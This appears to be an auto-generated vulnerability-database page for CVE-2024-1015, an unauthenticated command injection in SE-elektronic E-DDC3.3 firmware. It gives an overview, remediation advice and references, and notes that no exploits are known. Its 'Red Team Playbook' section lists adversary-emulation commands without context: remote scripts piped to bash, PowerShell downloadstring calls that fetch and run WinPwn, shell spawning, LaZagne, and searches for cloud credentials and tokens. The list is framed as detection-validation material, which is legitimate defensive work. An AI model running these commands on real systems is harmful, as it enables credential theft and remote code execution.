CVE-2024-1015
Overview
This vulnerability is a remote command injection flaw rooted in improper input validation within the web configuration interface of SE-elektronic GmbH E-DDC3.3 devices. The flaw arises because the system executes operating system commands received via web interface parameters without adequate sanitization. The affected component is the web-based configuration functionality of firmware versions 03.07.03 and later, which processes user-supplied commands directly at the OS level.
Vulnerability Description
Remote command execution vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could send different commands from the operating system to the system via the web configuration functionality of the device.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the affected device, leading to full compromise of device functionality and potential network pivoting. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can result in data theft, disruption of service, and unauthorized control over the device within operational environments.
Solution
SE-elektronic GmbH has released firmware updates addressing this vulnerability in versions later than 03.07.03. Users should upgrade to the latest patched firmware as detailed in the advisory published by INCIBE (https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products). No specific workarounds are provided; immediate firmware upgrade is recommended to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SE-elektronic GmbH E-DDC3.3 represents a significant security flaw that allows for remote command execution. This issue arises from improper handling of input via the web configuration interface, which does not adequately validate commands sent from the operating system. As a result, an attacker can exploit this weakness to execute arbitrary commands on the device, potentially leading to full system compromise. The affected firmware versions, starting from 03.07.03, have been identified as particularly vulnerable, making it crucial for organizations using this product to understand the underlying technical details.
Attack vectors for this vulnerability primarily involve unauthorized access to the web configuration interface. An attacker could leverage various methods, such as network scanning or social engineering, to gain access to the device's management interface. Once inside, the attacker could craft and send malicious commands that the system would execute without proper authorization checks. Scenarios could include altering device configurations, exfiltrating sensitive data, or even deploying malware that could spread to other connected systems. The ease of exploitation, combined with the potential for significant control over the affected device, makes this vulnerability particularly concerning.
The real-world impact of this vulnerability can be profound, especially for organizations relying on the SE-elektronic E-DDC3.3 for critical operations. The ability to execute commands remotely could lead to unauthorized access to sensitive information, disruption of services, or manipulation of operational parameters, resulting in financial losses and reputational damage. Furthermore, the high CVSS score of 9.8 indicates that the exploitability of this vulnerability is severe, suggesting that attackers could quickly leverage it to achieve their objectives. Businesses must recognize that the consequences of such an attack could extend beyond immediate financial implications, potentially leading to regulatory scrutiny and loss of customer trust.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating the firmware to the latest version is essential, as vendors often release patches to address known vulnerabilities. Additionally, employing network segmentation can limit the exposure of the device to potential attackers, while robust firewall rules can help filter out unauthorized access attempts. Organizations should also conduct routine security assessments, including penetration testing, to identify and remediate vulnerabilities before they can be exploited. Monitoring logs for unusual activity can further enhance detection capabilities, allowing for rapid response to potential threats.
In conclusion, the remote command execution vulnerability in the SE-elektronic GmbH E-DDC3.3 poses a serious risk to organizations utilizing this product. Understanding the technical aspects of the vulnerability, potential attack vectors, and the real-world implications is vital for effective risk management. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their exposure to this and similar vulnerabilities, safeguarding their operations and maintaining the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Se-Elektronic | E-Ddc3.3 Firmware | 03.07.03 |
cpe:2.3:o:se-elektronic:e-ddc3.3_firmware:03.07.03:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1015 |
| incibe.es |
GitHub CVE
|
https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products |
| hackplayers.com |
GitHub CVE
third-party-advisory
|
https://www.hackplayers.com/2024/01/cve-2024-1014-and-cve-2024-1015.html |